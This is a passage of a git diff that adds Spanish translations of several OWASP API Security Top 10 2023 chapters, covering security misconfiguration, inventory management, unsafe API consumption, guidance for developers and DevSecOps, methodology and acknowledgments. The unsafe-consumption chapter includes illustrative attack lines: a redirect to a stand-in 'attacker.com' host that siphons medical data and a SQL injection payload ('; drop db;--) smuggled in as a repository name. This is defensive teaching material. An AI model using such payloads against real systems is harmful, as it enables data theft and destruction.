ciclo de vida de la API debe incluir: + +* Un proceso repetible de endurecimiento que permita el despliegue rápido y sencillo de un entorno correctamente asegurado. +* Una tarea para revisar y actualizar configuraciones en todo el stack de la API. La revisión debe incluir: archivos de orquestación, componentes de la API y servicios en la nube (p. ej., permisos de buckets S3). +* Un proceso automatizado para evaluar continuamente la efectividad de la configuración y ajustes en todos los entornos. + +Además: + +* Asegúrate de que todas las comunicaciones entre el cliente y el servidor de la API, y cualquier componente descendente/ascendente, ocurran sobre un canal de comunicación cifrado (TLS), sin importar si es una API interna o pública. +* Sé específico sobre qué verbos HTTP puede usar cada API: todos los demás verbos HTTP deben estar deshabilitados (p. ej., HEAD). +* Las APIs que esperan ser accedidas desde clientes basados en navegador (p. ej., frontend web) deben al menos: + * Implementar una política adecuada de *Cross-Origin Resource Sharing (CORS)*. + * Incluir cabeceras de seguridad aplicables. +* Restringe los tipos de contenido/formatos de datos entrantes a aquellos que cumplan con los requisitos funcionales del negocio. +* Asegúrate de que todos los servidores en la cadena HTTP (p. ej., balanceadores de carga, proxies directos/inversos y servidores backend) procesen las solicitudes entrantes de manera uniforme para evitar problemas de desincronización. +* Cuando sea aplicable, define y aplica todos los esquemas de payload de respuesta de la API, incluidas las respuestas de error, para evitar que trazas de excepción u otra información valiosa se devuelva a los atacantes. + +## Referencias + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externas + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: una autoridad certificadora gratuita, automatizada y abierta][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/es/0xa9-improper-inventory-management.md b/editions/2023/es/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..be76e74da --- /dev/null +++ b/editions/2023/es/0xa9-improper-inventory-management.md @@ -0,0 +1,66 @@ +# API9:2023 Gestión Inadecuada de Inventario + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Generalizada** : Detectabilidad **Media** | Técnico **Moderado** : Específico del negocio | +| Los agentes de amenaza suelen obtener acceso no autorizado a través de versiones antiguas de API o endpoints que permanecen en ejecución sin parches y con requisitos de seguridad más débiles. En algunos casos existen exploits disponibles. Alternativamente, pueden obtener acceso a datos sensibles a través de un tercero con el cual no hay razón para compartirlos. | La documentación desactualizada dificulta encontrar y/o corregir vulnerabilidades. La falta de inventario de activos y estrategias de retiro conlleva a la ejecución de sistemas sin parches, lo que resulta en filtración de datos sensibles. Es común encontrar hosts de API innecesariamente expuestos debido a conceptos modernos como microservicios, que facilitan el despliegue de aplicaciones de forma independiente (p. ej., computación en la nube, K8S). Sencillas búsquedas en Google (*Google Dorking*), enumeración de DNS o el uso de motores de búsqueda especializados para varios tipos de servidores (cámaras web, enrutadores, servidores, etc.) conectados a Internet serán suficientes para descubrir objetivos. | Los atacantes pueden obtener acceso a datos sensibles o incluso tomar el control del servidor. A veces, diferentes versiones/implementaciones de la API están conectadas a la misma base de datos con datos reales. Los agentes de amenaza pueden explotar endpoints obsoletos disponibles en versiones antiguas de la API para acceder a funciones administrativas o aprovechar vulnerabilidades conocidas. | + +## ¿Es vulnerable la API? + +La naturaleza dispersa y conectada de las APIs y las aplicaciones modernas trae nuevos desafíos. Es importante que las organizaciones no solo tengan un buen entendimiento y visibilidad de sus propias APIs y endpoints, sino también de cómo las APIs almacenan o comparten datos con terceros externos. + +Ejecutar múltiples versiones de una API requiere recursos adicionales de gestión por parte del proveedor y amplía la superficie de ataque. + +Una API tiene un "punto ciego de documentación" si: + +* El propósito de un host de API no está claro y no hay respuestas explícitas a las siguientes preguntas: + * ¿En qué entorno se está ejecutando la API (p. ej., producción, staging, pruebas, desarrollo)? + * ¿Quién debería tener acceso de red a la API (p. ej., público, interno, socios)? + * ¿Qué versión de API se está ejecutando? +* No existe documentación o la documentación existente no está actualizada. +* No hay un plan de retiro para cada versión de la API. +* El inventario de hosts está ausente o desactualizado. + +La visibilidad e inventario de los flujos de datos sensibles juegan un papel importante como parte de un plan de respuesta a incidentes, en caso de que ocurra una brecha en el lado de un tercero. + +Una API tiene un "punto ciego de flujo de datos" si: + +* Existe un "flujo de datos sensible" donde la API comparte datos sensibles con un tercero y: + * No existe una justificación comercial ni aprobación del flujo. + * No existe inventario ni visibilidad del flujo. + * No existe visibilidad profunda del tipo de datos sensibles compartidos. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Una red social implementó un mecanismo de limitación de tasa (*rate limiting*) que bloquea a los atacantes para que no usen fuerza bruta al adivinar tokens de restablecimiento de contraseña. Este mecanismo no se implementó como parte del código de la API, sino en un componente separado entre el cliente y la API oficial (`api.socialnetwork.owasp.org`). + +Un investigador encontró un host beta de la API (`beta.api.socialnetwork.owasp.org`) que ejecutaba la misma API, incluido el mecanismo de restablecimiento de contraseñas, pero el mecanismo de limitación de tasa no estaba presente. El investigador pudo restablecer la contraseña de cualquier usuario utilizando fuerza bruta simple para adivinar el token de 6 dígitos. + +### Escenario #2 + +Una red social permite a desarrolladores de aplicaciones independientes integrarse con ella. Como parte de este proceso, se solicita el consentimiento del usuario final para que la red social pueda compartir su información personal con la aplicación independiente. + +El flujo de datos entre la red social y las aplicaciones independientes no es lo suficientemente restrictivo ni monitoreado, lo que permite a las aplicaciones acceder no solo a la información del usuario, sino también a la información privada de todos sus amigos. + +Una firma de consultoría construye una aplicación maliciosa y logra obtener el consentimiento de 270,000 usuarios. Debido a la falla, la firma obtiene acceso a la información privada de 50,000,000 de usuarios. Posteriormente, la firma vende la información para fines maliciosos. + +## Cómo Prevenir + +* Inventariar todos los hosts de API y documentar aspectos importantes de cada uno de ellos, enfocándose en el entorno de la API (p. ej., producción, staging, pruebas, desarrollo), quién debería tener acceso de red al host (p. ej., público, interno, socios) y la versión de API. +* Inventariar servicios integrados y documentar aspectos importantes como su rol en el sistema, qué datos se intercambian (flujo de datos) y su sensibilidad. +* Documentar todos los aspectos de la API como autenticación, errores, redirecciones, limitación de tasa, política de *Cross-Origin Resource Sharing (CORS)* y endpoints, incluyendo sus parámetros, solicitudes y respuestas. +* Generar documentación automáticamente adoptando estándares abiertos. Incluir la construcción de documentación en el pipeline de CI/CD. +* Poner la documentación de la API a disposición solo de quienes estén autorizados para usar la API. +* Usar medidas de protección externas como soluciones específicas de seguridad de API para todas las versiones expuestas de tus APIs, no solo para la versión de producción actual. +* Evitar usar datos de producción en implementaciones de API que no sean de producción. Si esto es inevitable, estos endpoints deben recibir el mismo tratamiento de seguridad que los de producción. +* Cuando versiones más nuevas de las APIs incluyan mejoras de seguridad, realizar un análisis de riesgos para informar las acciones de mitigación necesarias para las versiones anteriores. Por ejemplo, si es posible aplicar mejoras retroactivamente sin romper la compatibilidad de la API o si es necesario retirar rápidamente la versión anterior y obligar a todos los clientes a migrar a la última versión. + +## Referencias + +### Externas + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/es/0xaa-unsafe-consumption-of-apis.md b/editions/2023/es/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..67fc8b6ae --- /dev/null +++ b/editions/2023/es/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,86 @@ +# API10:2023 Consumo Inseguro de APIs + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Común** : Detectabilidad **Media** | Técnico **Grave** : Específico del negocio | +| Explotar este problema requiere que los atacantes identifiquen y potencialmente comprometan otras APIs/servicios con los que la API objetivo esté integrada. Usualmente, esta información no es pública o la API/servicio integrado no es fácilmente explotable. | Los desarrolladores tienden a confiar y no verificar los endpoints que interactúan con APIs externas o de terceros, confiando en requisitos de seguridad más débiles, como los relacionados con la seguridad del transporte, la autenticación/autorización y la validación/sanitización de entradas. Los atacantes necesitan identificar los servicios con los que la API objetivo se integra (fuentes de datos) y eventualmente comprometerlos. | El impacto varía según lo que la API objetivo haga con los datos obtenidos. Una explotación exitosa puede llevar a la exposición de información sensible a actores no autorizados, diversos tipos de inyecciones o denegación de servicio. | + +## ¿Es vulnerable la API? + +Los desarrolladores tienden a confiar más en los datos recibidos de APIs de terceros que en la entrada de usuarios. Esto es especialmente cierto para APIs ofrecidas por compañías conocidas. Debido a esto, los desarrolladores tienden a adoptar estándares de seguridad más débiles, por ejemplo, en cuanto a validación y sanitización de entradas. + +La API puede ser vulnerable si: + +* Interactúa con otras APIs a través de un canal no cifrado. +* No valida ni sanitiza adecuadamente los datos obtenidos de otras APIs antes de procesarlos o pasarlos a componentes descendentes. +* Sigue redirecciones ciegamente. +* No limita el número de recursos disponibles para procesar respuestas de servicios de terceros. +* No implementa *timeouts* para interacciones con servicios de terceros. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Una API depende de un servicio de terceros para enriquecer direcciones comerciales proporcionadas por los usuarios. Cuando un usuario envía una dirección a la API, esta la envía al servicio de terceros y los datos devueltos se almacenan en una base de datos local habilitada para SQL. + +Actores maliciosos utilizan el servicio de terceros para almacenar un payload de inyección SQL asociado con un negocio creado por ellos. Luego atacan a la API vulnerable proporcionando una entrada específica que hace que la API obtenga su "negocio malicioso" desde el servicio de terceros. El payload de SQLi termina ejecutándose en la base de datos, exfiltrando datos hacia un servidor controlado por el atacante. + +### Escenario #2 + +Una API se integra con un proveedor de servicios de terceros para almacenar de forma segura información médica sensible de los usuarios. Los datos se envían a través de una conexión segura usando una solicitud HTTP como la siguiente: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Actores maliciosos encuentran una forma de comprometer la API de terceros y esta comienza a responder con un `308 Permanent Redirect` a solicitudes como la anterior: + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Dado que la API sigue ciegamente las redirecciones del tercero, repetirá la misma solicitud incluyendo los datos sensibles del usuario, pero esta vez hacia el servidor del atacante. + +### Escenario #3 + +Un atacante puede preparar un repositorio git llamado `'; drop db;--`. + +Cuando una aplicación vulnerable se integra con el repositorio malicioso, se utiliza el payload de inyección SQL en la aplicación que construye una consulta SQL asumiendo que el nombre del repositorio es una entrada segura. + +## Cómo Prevenir + +* Al evaluar proveedores de servicios, evalúa también su postura de seguridad en APIs. +* Asegura que todas las interacciones de APIs ocurran sobre un canal de comunicación seguro (TLS). +* Valida y sanitiza siempre los datos recibidos de APIs integradas antes de usarlos. +* Mantén una lista de permitidos (*allowlist*) de ubicaciones conocidas a las que las APIs integradas pueden redirigir: no sigas redirecciones ciegamente. + +## Referencias + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externas + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/es/0xb0-next-devs.md b/editions/2023/es/0xb0-next-devs.md new file mode 100644 index 000000000..cb4176849 --- /dev/null +++ b/editions/2023/es/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# ¿Qué Sigue Para los Desarrolladores + +La tarea de crear y mantener aplicaciones seguras, o de corregir aplicaciones existentes, puede ser difícil. Con las APIs no es diferente. + +Creemos que la educación y la concienciación son factores clave para escribir software seguro. Todo lo demás necesario para lograr el objetivo depende de **establecer y utilizar procesos de seguridad repetibles y controles de seguridad estándar**. + +OWASP proporciona numerosos recursos gratuitos y de código abierto para ayudarte a abordar la seguridad. Por favor visita la [página de Proyectos OWASP][1] para obtener una lista completa de los proyectos disponibles. + +| | | +|-|-| +| **Educación** | El [Application Security Wayfinder][2] debería darte una buena idea sobre qué proyectos están disponibles para cada etapa/fase del Ciclo de Vida del Desarrollo de Software (SDLC). Para aprendizaje/práctica práctica puedes comenzar con [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] o [OWASP Juice Shop][4]: ambos tienen APIs intencionalmente vulnerables. El [OWASP Vulnerable Web Applications Directory Project][5] proporciona una lista seleccionada de aplicaciones intencionalmente vulnerables: allí encontrarás varias otras APIs vulnerables. También puedes asistir a las sesiones de capacitación en la [Conferencia OWASP AppSec][6], o [unirte a tu capítulo local][7]. | +| **Requisitos de Seguridad** | La seguridad debe ser parte de cada proyecto desde el inicio. Al definir requisitos, es importante definir qué significa "seguro" para ese proyecto. OWASP recomienda usar el [OWASP Application Security Verification Standard (ASVS)][8] como guía para establecer los requisitos de seguridad. Si subcontratas, considera el [OWASP Secure Software Contract Annex][9], que debe adaptarse de acuerdo con la legislación y regulaciones locales. | +| **Arquitectura de Seguridad** | La seguridad debe seguir siendo una preocupación durante todas las etapas del proyecto. La [Serie de Cheat Sheets OWASP][10] es un buen punto de partida para orientación sobre cómo diseñar la seguridad durante la fase de arquitectura. Entre muchos otros, encontrarás el [REST Security Cheat Sheet][11] y el [REST Assessment Cheat Sheet][12], así como el [GraphQL Cheat Sheet][13]. | +| **Controles de Seguridad Estándar** | Adoptar controles de seguridad estándar reduce el riesgo de introducir debilidades de seguridad al escribir tu propia lógica. Aunque muchos frameworks modernos ahora vienen con controles estándar efectivos integrados, [OWASP Proactive Controls][14] ofrece una buena visión general de qué controles de seguridad deberías incluir en tu proyecto. OWASP también proporciona algunas bibliotecas y herramientas que pueden ser valiosas, como controles de validación. | +| **Ciclo de Vida de Desarrollo de Software Seguro** | Puedes usar el [OWASP Software Assurance Maturity Model (SAMM)][15] para mejorar tus procesos de construcción de APIs. Varios otros proyectos OWASP están disponibles para ayudarte durante las diferentes fases de desarrollo de APIs, por ejemplo, la [Guía de Revisión de Código OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/es/0xb1-next-devsecops.md b/editions/2023/es/0xb1-next-devsecops.md new file mode 100644 index 000000000..cb3802f75 --- /dev/null +++ b/editions/2023/es/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# ¿Qué Sigue Para DevSecOps + +Debido a su importancia en las arquitecturas modernas de aplicaciones, construir APIs seguras es crucial. La seguridad no puede descuidarse y debe ser parte de todo el ciclo de vida del desarrollo. Realizar escaneos y pruebas de penetración anuales ya no es suficiente. + +DevSecOps debe unirse al esfuerzo de desarrollo, facilitando pruebas de seguridad continuas en todo el ciclo de vida del software. Tu objetivo debe ser mejorar el pipeline de desarrollo con automatización de seguridad, pero sin impactar la velocidad del desarrollo. + +En caso de duda, mantente informado y consulta el [Manifiesto DevSecOps][1]. + +| | | +|-|-| +| **Comprender el Modelo de Amenazas** | Las prioridades de prueba provienen de un modelo de amenazas. Si no tienes uno, considera usar el [OWASP Application Security Verification Standard (ASVS)][2] y la [Guía de Pruebas OWASP][3] como insumo. Involucrar al equipo de desarrollo ayudará a que sean más conscientes de la seguridad. | +| **Comprender el SDLC** | Únete al equipo de desarrollo para entender mejor el Ciclo de Vida del Desarrollo de Software (SDLC). Tu contribución en pruebas de seguridad continuas debe ser compatible con las personas, procesos y herramientas. Todos deben estar de acuerdo con el proceso, para que no haya fricciones o resistencias innecesarias. | +| **Estrategias de Prueba** | Ya que tu trabajo no debe impactar la velocidad del desarrollo, debes elegir sabiamente la mejor técnica (simple, rápida y precisa) para verificar los requisitos de seguridad. El [OWASP Security Knowledge Framework][4] y el [OWASP Application Security Verification Standard][2] pueden ser excelentes fuentes de requisitos de seguridad funcionales y no funcionales. Existen otras buenas fuentes de [proyectos][5] y [herramientas][6] similares a las ofrecidas por la [comunidad DevSecOps][7]. | +| **Lograr Cobertura y Precisión** | Eres el puente entre los desarrolladores y los equipos de operaciones. Para lograr cobertura, no solo debes enfocarte en la funcionalidad, sino también en la orquestación. Trabaja cerca de los equipos de desarrollo y operaciones desde el inicio para optimizar tu tiempo y esfuerzo. Debes aspirar a un estado donde la seguridad esencial se verifique de forma continua. | +| **Comunicar Claramente los Hallazgos** | Contribuye con valor con poca o ninguna fricción. Entrega los hallazgos de manera oportuna, dentro de las herramientas que usan los equipos de desarrollo (no en archivos PDF). Únete al equipo de desarrollo para abordar los hallazgos. Aprovecha la oportunidad para educarlos, describiendo claramente la debilidad y cómo puede ser explotada, incluyendo un escenario de ataque para hacerlo real. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/es/0xd0-about-data.md b/editions/2023/es/0xd0-about-data.md new file mode 100644 index 000000000..cbeaec1f0 --- /dev/null +++ b/editions/2023/es/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Metodología y Datos + +## Resumen + +Para esta actualización de la lista, el equipo de OWASP API Security utilizó la misma metodología aplicada en la lista exitosa y ampliamente adoptada de 2019, con la adición de un [llamado público a contribución de datos][1] de 3 meses. Desafortunadamente, este llamado no resultó en datos que permitieran un análisis estadístico relevante de los problemas de seguridad de API más comunes. + +Sin embargo, con una industria de seguridad de APIs más madura, capaz de proporcionar retroalimentación e información directa, el proceso de actualización avanzó utilizando la misma metodología que antes. + +Con ello, creemos haber elaborado un buen documento de concienciación con visión de futuro para los próximos tres o cuatro años, más enfocado en problemas específicos de APIs modernas. El objetivo de este proyecto no es reemplazar otras listas top 10, sino cubrir los riesgos de seguridad en APIs existentes y emergentes que creemos que la industria debe conocer y atender con diligencia. + +## Metodología + +En la primera fase, se recopilaron, revisaron y categorizaron datos públicamente disponibles sobre incidentes de seguridad en APIs. Dichos datos se obtuvieron de plataformas de *bug bounty* y de informes públicos. Solo se consideraron los problemas reportados entre 2019 y 2022. Estos datos se usaron para dar al equipo una idea de hacia dónde debía evolucionar la lista top 10 anterior, así como para ayudar a manejar posibles sesgos en los datos contribuidos. + +Un [llamado público a contribución de datos][1] se llevó a cabo entre el 1 de septiembre y el 30 de noviembre de 2022. En paralelo, el equipo del proyecto inició la discusión sobre lo que había cambiado desde 2019. La discusión incluyó el impacto de la primera lista, la retroalimentación recibida de la comunidad y las nuevas tendencias en seguridad de APIs. + +El equipo del proyecto promovió reuniones con especialistas en amenazas relevantes de seguridad en APIs para obtener información sobre cómo se ven afectadas las víctimas y cómo se pueden mitigar esas amenazas. + +Este esfuerzo resultó en un borrador inicial de lo que el equipo consideraba eran los diez riesgos de seguridad en APIs más críticos. Se utilizó la [Metodología de Evaluación de Riesgos OWASP][2] para realizar el análisis de riesgos. Las calificaciones de prevalencia se decidieron por consenso entre los miembros del equipo del proyecto, basándose en su experiencia en el campo. Para consideraciones sobre estos temas, consulta la sección de [Riesgos de Seguridad en APIs][3]. + +El borrador inicial fue compartido para revisión con profesionales de seguridad con experiencia relevante en el campo de la seguridad en APIs. Sus comentarios fueron revisados, discutidos y, cuando correspondía, incluidos en el documento. El documento resultante se [publicó como Candidato a Publicación][4] para [discusión abierta][5]. Varias [contribuciones de la comunidad][6] se incluyeron en el documento final. + +La lista de contribuyentes está disponible en la sección de [Agradecimientos][7]. + +## Riesgos Específicos de APIs + +La lista está construida para abordar riesgos de seguridad que son más específicos de las APIs. + +Esto no implica que otros riesgos genéricos de seguridad de aplicaciones no existan en aplicaciones basadas en APIs. Por ejemplo, no incluimos riesgos como "Componentes Vulnerables y Desactualizados" o "Inyección", aunque puedan encontrarse en aplicaciones basadas en APIs. Estos riesgos son genéricos, no se comportan de manera diferente en las APIs ni su explotación es distinta. + +Nuestro objetivo es aumentar la concienciación sobre riesgos de seguridad que merecen especial atención en APIs. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/es/0xd1-acknowledgments.md b/editions/2023/es/0xd1-acknowledgments.md new file mode 100644 index 000000000..1c85f39fa --- /dev/null +++ b/editions/2023/es/0xd1-acknowledgments.md @@ -0,0 +1,10 @@ +# Agradecimientos + +## Agradecimientos a los Contribuidores + +Queremos agradecer a los siguientes contribuidores que aportaron públicamente en GitHub o por otros medios: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/es/images/cover.jpg b/editions/2023/es/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/es/images/cover.jpg differ diff --git a/editions/2023/es/images/front-cc.png b/editions/2023/es/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/es/images/front-cc.png differ diff --git a/editions/2023/es/images/front-wasp.png b/editions/2023/es/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/es/images/front-wasp.png differ diff --git a/editions/2023/es/images/license.png b/editions/2023/es/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/es/images/license.png differ diff --git a/editions/2023/es/images/owasp-logo.png b/editions/2023/es/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/es/images/owasp-logo.png differ